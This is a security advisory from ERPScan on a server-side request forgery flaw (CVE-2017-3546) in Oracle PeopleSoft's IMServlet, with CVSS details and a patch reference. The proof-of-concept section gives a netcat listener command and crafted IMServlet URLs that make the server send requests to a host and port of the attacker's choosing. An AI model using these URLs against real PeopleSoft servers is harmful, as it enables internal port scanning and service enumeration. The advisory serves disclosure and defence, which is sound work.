Application: Oracle PeopleSoft
Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55;
PeopleSoft HCM 9.2
Vendor URL: http://oracle.com
Bugs: SSRF
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 18.04.2017
Reference: Oracle CPU April 2017
Author: Roman Shalymov (ERPScan)

Description

1. ADVISORY INFORMATION

Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
Advisory ID: [ERPSCAN-17-022]
Risk: high
CVE: CVE-2017-3546
Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
Date published: 18.04.2017
Vendors contacted: Oracle


2. VULNERABILITY INFORMATION

Class: SSRF
Impact: cross-site port attack, service enumeration
Remotely Exploitable: yes
Locally Exploitable: yes

CVSS Information

CVSS Base Score v3:    8.0 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)


3. VULNERABILITY DESCRIPTION

An attacker can force a vulnerable server to trigger malicious
requests to third-party servers or to internal resources. This
vulnerability can then be leveraged to launch specific attacks such as
a cross-site port attack, service enumeration, and various other
attacks.

4. VULNERABLE PACKAGES

ToolsRelease: 8.55.03
ToolsReleaseDB: 8.55
PeopleSoft HCM 9.2

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, implement Oracle CPU April 2017

6. AUTHOR

Roman Shalymov

7. TECHNICAL DESCRIPTION

PoC

Run netcat

1. nc -l -p # on some host

In browser open the following links

http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT

http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23"


Read response in netcat

GET /?param=var HTTP/1.1

User-Agent: Java1.7.0_95

Host: SOMEHOST:OPEN_PORT

Accept: text/html, image/gif, image/jpeg, /; q=.2

Connection: Keep-Alive


8. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

9. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.